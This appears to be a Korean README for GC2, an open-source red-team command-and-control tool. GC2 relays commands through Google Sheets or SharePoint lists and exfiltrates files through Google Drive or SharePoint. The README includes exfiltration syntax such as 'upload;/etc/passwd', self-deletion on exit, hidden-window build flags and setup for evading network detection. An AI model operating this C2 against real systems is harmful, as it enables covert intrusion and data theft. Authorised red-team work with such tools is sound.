
GC2는 Google Sheet 또는 Microsoft SharePoint List를 사용하여 대상 머신에서 명령을 실행하고, Google Drive 또는 Microsoft SharePoint Document를 사용하여 파일을 유출할 수 있는 Command and Control 애플리케이션입니다.
GC2(Google Command and Control)는 공격자가 Google 스프레드시트 또는 Microsoft SharePoint 목록을 사용하여 대상 시스템에서 명령을 실행하고 Google 드라이브 또는 Microsoft SharePoint 문서를 사용하여 파일을 유출할 수 있는 명령 및 제어 애플리케이션입니다.
이 프로젝트는 Red Teaming 활동 중에 특별한 설정(예: 사용자 정의 도메인, VPS, CDN 등)이 필요하지 않은 명령 및 제어를 제공하기 위해 개발되었습니다.
또한, 이 프로그램은 Google 및 Microsoft의 도메인(예: *.google.com)하고만 상호 작용하여 네트워크 탐지를 더 어렵게 만듭니다.
C2에 의해 Google 스프레드시트가 자동으로 생성됩니다. 생성되면 아래와 같이 손상된 시스템과 상호 작용할 수 있습니다.
C2에 의해 Microsoft SharePoint 목록이 자동으로 생성됩니다. 생성되면 아래와 같이 손상된 시스템과 상호 작용할 수 있습니다.
대상 시스템에서 파일을 유출하기 위해 특별 명령이 예약되어 있습니다.
대상에서 Google 드라이브/Microsoft SharePoint 문서로 업로드
upload;<로컬 경로>
예시:
upload;/etc/passwd
참고: 동일한 이름의 파일은 자동으로 덮어쓰여집니다.
대상 시스템에 파일을 다운로드하기 위해 특별 명령이 예약되어 있습니다.
Google 드라이브에서 대상으로 다운로드
download;<google drive file id>;<로컬 경로>
예시:
download;<파일 ID>;/home/user/downloaded.txt
참고: 파일은 SharePoint 루트 폴더(보통 "Documents")에 저장되어야 합니다.
SharePoint에서 대상으로 다운로드
download;<SharePoint 파일 경로>;<로컬 경로>
예시:
download;download.txt;/home/user/downloaded.txt
exit 명령을 전송하면 C2가 종료되고 대상 시스템에서 자체 삭제됩니다.
참고: os 문서에 따르면: 프로세스를 시작하는 데 심볼릭 링크가 사용된 경우, 운영 체제에 따라 결과가 심볼릭 링크이거나 그것이 가리키는 경로일 수 있습니다. 이 경우 심볼릭 링크가 삭제됩니다.
이 C2는 Google(Google 스프레드시트 + Google 드라이브) 및 Microsoft(SharePoint 목록 + SharePoint 문서) 서비스를 모두 지원합니다. C2를 사용하려면 로컬 및 클라우드 구성을 모두 설정해야 합니다.
새 Google "서비스 계정" 만들기
https://console.cloud.google.com/를 사용하여 새 Google 서비스 계정을 만들고 서비스 계정에 대한 .json 키 파일을 만듭니다.
Google 스프레드시트 API 및 Google 드라이브 API 활성화
Google 드라이브 API https://developers.google.com/drive/api/v3/enable-drive-api 및 Google 스프레드시트 API https://developers.google.com/sheets/api/quickstart/go를 활성화합니다.
Google 스프레드시트 및 Google 드라이브 설정
새 Google 스프레드시트를 만들고 해당 이메일을 사용하여 서비스 계정과 (편집자로) 공유합니다.
새 Google 드라이브 폴더를 만들고 해당 이메일을 사용하여 서비스 계정과 (편집자로) 공유합니다.
Microsoft 서비스와 상호 작용하려면 먼저 비즈니스 구독이 필요합니다(처음 30일 동안 무료로 받을 수 있음).
Azure 애플리케이션 만들기
https://learn.microsoft.com/ko-kr/graph/auth-v2-service?tabs=http에 설명된 대로 새 Azure 애플리케이션을 만듭니다.
새 애플리케이션을 만든 후 다음 Graph API를 활성화합니다:
C2 다운로드
C2는 GitHub에서 직접 클론할 수 있습니다:
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
C2 구성
C2를 구성하려면 cmd/options.yml 파일을 수정해야 합니다. C2는 Google 및 Microsoft 서비스를 모두 지원하며, 혼합 사용도 가능합니다.
Google 서비스만
CommandService: "Google" # Google 스프레드시트가 명령 서비스로 사용되어 명령을 가져오고 명령 출력을 푸시합니다.
FileSystemService: "Google" # Google 드라이브가 파일 시스템으로 사용되어 파일을 다운로드하고 유출합니다.
GoogleServiceAccountKey : "1234567890" # 이스케이프된 json 파일
GoogleSheetID: "0987654321" # Google 스프레드시트 ID (URL에서 확인 가능)
GoogleDriveID: "1234554321" # Google 드라이브 폴더 ID (URL에서 확인 가능)
#RowId: 1 # 선택 사항, 비콘이 새 명령을 가져올 (Google 스프레드시트 또는 SharePoint 목록) 행을 지정합니다.
#Proxy: "http://127.0.0.1:8080" # 선택 사항, 프록시 지정
Verbose: true # 선택 사항, 디버깅 목적으로 권장
Google 서비스 계정 키는 구성 파일에 붙여넣기 전에 이스케이프 처리해야 합니다. 다음 명령을 사용하여 이스케이프할 수 있습니다:
cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'
Microsoft 서비스만
CommandService: "Microsoft" # Microsoft SharePoint 목록이 명령 서비스로 사용되어 명령을 가져오고 명령 출력을 푸시합니다.
FileSystemService: "Microsoft" # Microsoft SharePoint 문서가 파일 시스템으로 사용되어 파일을 다운로드하고 유출합니다.
MicrosoftTenantID: "567890098765" # Azure 애플리케이션이 생성된 Azure 테넌트 ID
MicrosoftClientID: "098765567890" # Azure 애플리케이션 ID
MicrosoftClientSecret: "1234509876" # Azure 애플리케이션 시크릿 값
MicrosoftSiteID: "0987612345" # SharePoint ID
#RowId: 1 # 선택 사항, 비콘이 새 명령을 가져올 (Google 스프레드시트 또는 SharePoint 목록) 행을 지정합니다.
#Proxy: "http://127.0.0.1:8080" # 선택 사항, 프록시 지정
Verbose: true # 선택 사항, 디버깅 목적으로 권장
대부분의 오류는 verbose 플래그를 true로 설정하여 감지할 수 있습니다. 기본적으로 C2는 출력이나 오류 정보를 생성하지 않습니다.
이 프로젝트의 소유자는 이 프로그램의 불법 사용에 대해 책임을 지지 않습니다.
이것은 보안 태세를 평가하고 연구 목적으로 승인을 받아 사용하도록 고안된 오픈 소스 프로젝트입니다.
최종 사용자는 자신의 행동과 결정에 대해 전적인 책임을 집니다. 이 프로젝트의 사용은 본인 책임 하에 이루어집니다. 이 프로젝트의 소유자는 이 프로젝트 사용으로 인해 발생하는 손실이나 손해에 대해 어떠한 책임도 지지 않습니다.
동일한 개념을 사용하는 맬웨어를 언급하는 뉴스:
Google 및 Microsoft 서비스 혼합
CommandService: "Google" # Google 스프레드시트가 명령 서비스로 사용되어 명령을 가져오고 명령 출력을 푸시합니다.
FileSystemService: "Microsoft" # Microsoft SharePoint 문서가 파일 시스템으로 사용되어 파일을 다운로드하고 유출합니다.
GoogleServiceAccountKey : "1234567890" # 이스케이프된 json 파일
GoogleSheetID: "0987654321" # Google 스프레드시트 ID (URL에서 확인 가능)
GoogleDriveID: "1234554321" # Google 드라이브 폴더 ID (URL에서 확인 가능)
MicrosoftTenantID: "567890098765" # Azure 애플리케이션이 생성된 Azure 테넌트 ID
MicrosoftClientID: "098765567890" # Azure 애플리케이션 ID
MicrosoftClientSecret: "1234509876" # Azure 애플리케이션 시크릿 값
MicrosoftSiteID: "0987612345" # SharePoint ID
#RowId: 1 # 선택 사항, 비콘이 새 명령을 가져올 (Google 스프레드시트 또는 SharePoint 목록) 행을 지정합니다.
#Proxy: "http://127.0.0.1:8080" # 선택 사항, 프록시 지정
Verbose: true # 선택 사항, 디버깅 목적으로 권장
실행 파일 빌드
다른 OS 및 아키텍처용으로 C2를 크로스 컴파일하는 몇 가지 예시입니다.
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"
env GOOS=linux GOARCH=amd64 go build -ldflags "-s –w"
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s –w"
실행
컴파일 후 실행합니다.
./gc2-sheet
비콘은 사용자 구성에 따라 Google 스프레드시트 또는 Microsoft SharePoint 목록을 자동으로 생성합니다.